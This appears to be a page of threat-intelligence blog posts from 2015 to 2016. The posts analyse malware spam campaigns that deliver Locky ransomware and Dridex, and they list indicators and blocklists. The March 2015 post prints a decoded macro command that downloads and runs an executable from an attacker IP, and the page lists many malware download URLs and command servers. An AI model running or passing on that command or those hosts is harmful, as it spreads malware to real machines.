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Showing posts with label Ireland. Show all posts
Showing posts with label Ireland. Show all posts

Tuesday 27 September 2016

Malware spam: "Attached:Scan(70)" and others leads to Locky

This fake scanned document leads to Locky ransomware:

Subject:     Attached:Scan(70)
From:     Zelma (Zelma937@victimdomain.tld)
To:     victim@victimdomain.tld;
Date:     Tuesday, 27 September 2016, 14:15 

There does not appear to be any body text. My trusted source tells me that the subject is a combination of the words Attached / Copy / File / Emailing and Document / Receipt / Scan plus a random two-digit number. Attached is a ZIP file with a name similar to the subject, containing a malicious .wsf scriot.

This script then downloads components from one of the following locations:

akseko.ru/78hceef
altorelevo.net/78hceef
amsterdamrent.com/78hceef
art-asfalt.com/78hceef
australiandesignerweddings.com/78hceef
baitcalculator.com/78hceef
bb-alarm.com/78hceef
bezdeals.com/78hceef
brambory.net/78hceef
ccaglobal.org/78hceef
cg3dstudio.com/78hceef
cimetieremontroyal.com/78hceef
dashandling.com/78hceef
deadly-city.com/78hceef
dealerjoin.com/78hceef
diemsolutions.com/78hceef
essennarose.com/78hceef
eventbuzzuk.com/78hceef
fixturesexpress.com/78hceef
frecuenciaurbana.es/78hceef
gharazi.com/78hceef
google-seo-top.com/78hceef
gouri-gouri.com/78hceef
grijspaardt.nl/78hceef
haikhhoose.com/78hceef
hedefosgb.com/78hceef
homemadebakeryindonesia.com/78hceef
hurbtrade.com/78hceef
idealuze.com/78hceef
intardesign.com/78hceef
johnlesterart.com/78hceef
karacanalbum.com/78hceef
linbao.org/78hceef
maxtherm.net/78hceef
mediaalias.com/78hceef
mysolosource.com/78hceef
nerosk.ru/78hceef
peryskop.biz/78hceef
profsonstage.com/78hceef
speaklifegreetings.com/78hceef
upav.org/78hceef
usedtextilemachinerylive.com/78hceef
wssunhui.com/78hceef
www.musicbarpriatelia.sk/78hceef
xdesign-p.com/78hceef

The payload is Locky ransomware, phoning home to:

5.196.200.247/apache_handler.php (OVH, Ireland / Just Hosting, Russia)
62.173.154.240/apache_handler.php (JSC Internet-Cosmos, Russia)
uiwaupjktqbiwcxr.xyz/apache_handler.php  [86.110.118.114] (Takewyn.com, Russia)
rflqjuckvwsvsxx.click/apache_handler.php  [86.110.118.114] (Takewyn.com, Russia)
dypvxigdwyf.org/apache_handler.php  [69.195.129.70] (Joe's Datacenter, US)
ntqgcmkmnratfnwk.org/apache_handler.php
wababxgqgiyfrho.su/apache_handler.php
ytqeycxnbpuygc.ru/apache_handler.php
ocuhfpcgyg.pl/apache_handler.php
cifkvluxh.su/apache_handler.php
sqiwysgobx.click/apache_handler.php
yxmagrdetpr.biz/apache_handler.php
xnoxodgsqiv.org/apache_handler.php
vmibkkdrlnircablv.org/apache_handler.php

Recommended blocklist:
5.196.200.0/24
62.173.154.240
86.110.118.114


Tuesday 12 July 2016

Malware spam: "Here's that excel file (latest invoices) that you wanted." leads to Locky

This fake financial spam leads to Locky ransomware:

From:    Benita Clayton
Date:    12 July 2016 at 15:04
Subject:    Fw:

hi [redacted],

Here's that excel file (latest invoices) that you wanted.


Best regards,
Benita Clayton
Vice President US Risk Management
Sender details vary from message to message. Attached is a ZIP file containing part of the recipient's email address plus some other elements, within which is a malicious. js script beginning with -SWIFT-.

Trusted external analysis (thank you again) shows the scripts download an obfuscated binary from one of the following locations:

acepipesdeli.com.br/tffx7
aerosfera.ru/h5vkp87
agbiz.co.za/x2evw01
choogo.net/qi7j7f
control3.com.br/57nhtzkv
dealsbro.com/4qtc20
diablitos.no/ogmrgs
doisirmaosturismo-rj.com.br/jxdlzcf
eskuvotervezo.hu/3kbgy9a
eusekkei.co.jp/tdts0
ferozsons-labs.com/52sf0l
games4games.com.br/ubabtp
globaldveri.ru/i4a3l0
hanaweb.xsrv.jp/be6o4g6
heonybaby.synology.me/41sx3e
ialri.net/tughk
jsbaden.jemk.ch/xyn8moxt
jstudio.com.my/5mkejwj4
kveldeil.no/opca2v2
maihama.2jikai-p.net/5mkejwj4
mcpf.co.za/ffq1mq
mphooseitutu.com/tfq5e5d2
mywebhost.nichost.ru/g53y7
nicesound.biz/42did
omnitask.ba/ac5f6
ostrovokkrasoty.ru/x7lcd
ppf.com.pk/5z2sk
quaint.com.br/divme5d
repair-service.london/uywgi7v
revengeofsultans.com/9cu7bsw
richard-scissors.com/wife8eaf
rigoberto.com.br/nqum54t
samaju.se/fsqrtgrm
sindsul.com/h02sujs
sirimba.com.br/qiovtl
stylespiritdubai.com/be1id
tvernedra.ru/lob9x
valsystem.cl/v4db1wd
wacker-etm.ru/jfbmxlhy
wineroutes.ru/hrzl8dw5
www.cristaleriadominguez.com/fxcx6ep
www.inextenso.hu/xc3739l
www.ital.com.mx/xswj9
zachphoto.7u.cz/0jyhh
zakagimebel.ru/krcsvf
zoomwalls.com/zghpzv2f


Locky then phones home to one of the following locations:

5.196.189.37 (Just Hosting, Russia / OVH, Ireland)
77.222.54.202 (SpaceWeb CJSC, Russia)
109.234.34.146 (McHost.Ru, Russia)
192.71.249.220 (EDIS, Sweden)


Recommended blocklist:
5.196.189.37
77.222.54.202
109.234.34.0/24
192.71.249.220


Wednesday 20 April 2016

Malware spam: "Accounts at Beerhouse Self Drive [accounts3965@beerhouse.co.uk]" / "Document No™2958719"

This fake financial spam does not come from Beerhouse Self Drive but is instead a simple forgery with a malicious attachment:

From:    Accounts at Beerhouse Self Drive [accounts3965@beerhouse.co.uk]
Date:    20 April 2016 at 11:01
Subject:    Document No™2958719

Thanks for using electronic billing

Please find your document attached

Regards


Beerhouse Self Drive
In the only sample I have seen so far, there is an attachment Document No 992958719.doc which has a VirusTotal detection rate of 7/56. The Malwr report for that document shows that it downloads a binary from:

bi.pushthetraffic.com/87ty8hbvcr44

There are probably many other download locations. This dropped file has a detection rate of 6/56. The DeepViz report and Hybrid Analysis between then identify what is likely to be Dridex, phoning home to the following servers:

193.90.12.221 (MultiNet AS, Norway)
212.126.59.41 (Letshost / Digiweb, Ireland)
93.104.211.103 (Contabo GmbH, Germany)
155.133.82.82 (FUFO Studio Agata Grabowska, Poland)
212.50.14.39 (Computers Equipnemt, Bulgaria)
91.194.251.204 (TOV Dream Line Holding, Ukraine)
194.116.73.71 (Topix, Italy)
64.76.19.251 (Impsat, Argentina)


Recommended blocklist:
193.90.12.221
212.126.59.41
93.104.211.103
155.133.82.82
212.50.14.39
91.194.251.204
194.116.73.71
64.76.19.251



Thursday 24 March 2016

Malware spam: "Your order has been despatched" / customer.service@axminster.co.uk

This fake financial spam does not come from Axminster Tools & Machinery, but is instead a simple forgery with a malicious attachment:

From:    customer.service@axminster.co.uk
Date:    24 March 2016 at 10:11
Subject:    Your order has been despatched

Dear Customer

The attached document* provides details of items that have been packed and are ready for despatch.

Please use your tracking number (contained within the attached document) to monitor the progress of your shipment.

Customer Services (for customers in the UK mainland)
Call: 03332 406406
Email: cs@axminster.co.uk

Opening Hours:
Mon - Fri: 8am - 6pm
Saturday: 9am - 5pm

Export Sales (for customers outside UK mainland)
Call: +44 1297 33666
Email: exportsales@axminster.co.uk

Opening Hours:
Mon - Fri: 8am - 5.30pm (GMT)

Kind regards

Axminster Tools & Machinery
Unit 10 Weycroft Avenue, Axminster EX13 5PH
http://www.axminster.co.uk

* In order to read or print the attached document, you will need to install Adobe Reader. You can download Adobe Reader free of charge by visiting http://www.adobe.com/products/acrobat/readstep2.html
Attached is a file LN4244786.docm which comes in at least two different versions (VirusTotal results [1] [2]). Automated analysis is inconclusive [3] [4] [5] [6], however a manual analysis of the macros contained within [7] [8]  shows download locations at:

skandastech.com/76f45e5drfg7.exe
ekakkshar.com/76f45e5drfg7.exe


This binary has a detection rate of 6/56 and the Deepviz Analysis and Hybrid Analysis show network traffic to:

71.46.208.93 (Bright House Networks, US)
64.76.19.251 (Level 3 Communications US, 64.76.19.251 / Impsat, Argentina)
91.236.4.234 (FHU Climax Rafal Kraj, Poland)
64.147.192.68 (Dataconstructs, US)
41.38.18.230 (TE Data, Egypt)
93.104.211.103 (Contabo, Germany)
159.8.57.10 (Kordsa Global Endustriyel Iplik, Turkey / SoftLayer Technologies, Netherlands)
82.144.200.154 (Kyivski Telekomunikatsiyni Merezhi LLC, Ukraine)
5.9.43.177 (Hetzner, Germany)
212.126.59.41 (LetsHost, Ireland)


It is not clear what the payload is here, but it is likely to be the Dridex banking trojan or possibly ransomware.

UPDATE

Some additional download locations from another source (thank you!)

webvogel.com/76f45e5drfg7.exe
timelessmemoriespro.com/76f45e5drfg7.exe
thecommercialalliance.com/76f45e5drfg7.exe
littlewitnesses.com/language/76f45e5drfg7.exe
rayswanderlusttravel.com//76f45e5drfg7.exe



Recommended blocklist:
71.46.208.93
64.76.19.251
91.236.4.234
64.147.192.68
41.38.18.230
93.104.211.103
159.8.57.10
82.144.200.154
5.9.43.177
212.126.59.41




Monday 30 November 2015

Malware spam: "Sales Invoice OP/I599241 For ANDSTRAT (NO.355) LTD" / "orders@kidd-uk.com"

This fake financial spam is not from James F Kidd, but is instead a simple forgery with a malicious attachment:
From:    orders@kidd-uk.com
Date:    30 November 2015 at 13:42
Subject:    Sales Invoice OP/I599241 For ANDSTRAT (NO.355) LTD

 Please see enclosed Sales Invoice for your attention.

 Regards from Accounts at James F Kidd
 ( email: accounts@kidd-uk.com )
I have seen a single copy of this spam with an attachment invoice574206_1.doc which has a VirusTotal detection rate of 3/55.

This Malwr report indicates that in this case there may be an error in the malicious macro [pastebin]. The Hybrid Analysis report is inconclusive. This document is presumably attempting to drop the Dridex banking trojan.

UPDATE

I have received two more samples, one names invoice574206/1.pdf and the other invoice574206/1.doc. Both are Word documents (so the one with the PDF extension will not open). The VirusTotal detection rates are 7/54 and 4/55. One of these two also produces an error when run.

The working attachment (according to this Malwr report and Hybrid Analysis report) downloads a malicious binary from:

bjdennehy.ie/~upload/89u87/454sd.exe

This has a VirusTotal detection rate of 3/54. Automated analysis tools [1] [2] [3] [4] show malicious traffic to:

94.73.155.12 (Cizgi Telekomunikasyon Anonim Sirketi, Turkey)
103.252.100.44 (PT. Drupadi Prima, Indonesia)
89.108.71.148 (Agava Ltd, Russia)
91.223.9.70 (Elive Ltd, Ireland)
41.136.36.148 (Mauritius Telecom, Mauritius)
185.92.222.13 (Choopa LLC, Netherlands)
42.117.2.85 (FPT Telecom Company, Vietnam)
195.187.111.11 (Szkola Glowna Gospodarstwa Wiejskiego, Poland)
37.128.132.96 (Memset Ltd, UK)
37.99.146.27 (Etihad Atheeb Telecom Company, Saudi Arabia)
41.38.18.230 (TE Data, Egypt)
89.189.174.19 (Sibirskie Seti Novokuznetsk, Russia)
122.151.73.216 (M2 Telecommunications Group Ltd, Australia)
185.87.51.41 (Marosnet Telecommunication Company LLC, Russia)
217.197.159.37 (NWT a.s., Czech Republic)
41.56.123.235 (Wireless Business Solutions, South Africa)
91.212.89.239 (Uzinfocom, Uzbekistan)


MD5s:
495d47eedde6566a12b74c652857887e
182db9fc18c5db0bfcb7dbe0cf61cae5
177948c68bc2d67218cde032cdaf1239
07c90e44adcf8b181b55d001cd495b7f


Recommended blocklist:
94.73.155.12
103.252.100.44
89.108.71.148
91.223.9.70
41.136.36.148
185.92.222.13
42.117.2.85
195.187.111.11
37.128.132.96
37.99.146.27
41.38.18.230
89.189.174.19
122.151.73.216
185.87.51.41
217.197.159.37
41.56.123.235
91.212.89.239

Wednesday 18 March 2015

Malware spam: "December unpaid invoice notification"

This spam comes with no body text, but does come with a malicious attachment.

From:    Korey Mack
Date:    18 March 2015 at 11:04
Subject:    December unpaid invoice notification
So far I have only seen a single sample with an attached file called 11IDJ325.doc which is undetected by AV vendors. Inside is a malicious macro [pastebin] with an encrypted section that executes this:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.244/smoozy/shake.exe','%TEMP%\huiUGI8t8dsF.cab'); expand %TEMP%\huiUGI8t8dsF.cab %TEMP%\huiUGI8t8dsF.exe; start %TEMP%\huiUGI8t8dsF.exe;
Although the EXE file from 176.31.28.244 (OVH, France / Bitweb LLC, Russia) is downloaded as a CAB file and then EXPANDed to an EXE, there is in fact no file transformation happening at all (which is odd). This executable has a detection rate of 2/57.

This Malwr report shows it downloading a DLL with an MD5 of a40e588e614e6a4c9253d261275288bf [VT 4/57] which is the same payload as found in this earlier spam run, along with another executable with an MD5 of 409397f092d3407f95be42903172cf06 which is not in the VirusTotal database. The report also shows the malware phoning home to the following IPs:

31.25.77.154 (Call U Communications, Palestine)
95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)
188.165.5.194 (OVH, Ireland)
188.165.26.237 (OVH, Latvia)
115.241.60.56 (Reliance Communication, India)
46.19.143.151 (Private Layer INC, Switzerland)

Recommended blocklist:
31.25.77.154
95.163.121.0/24
188.165.5.194
188.165.26.237
115.241.60.56
46.19.143.151
176.31.28.244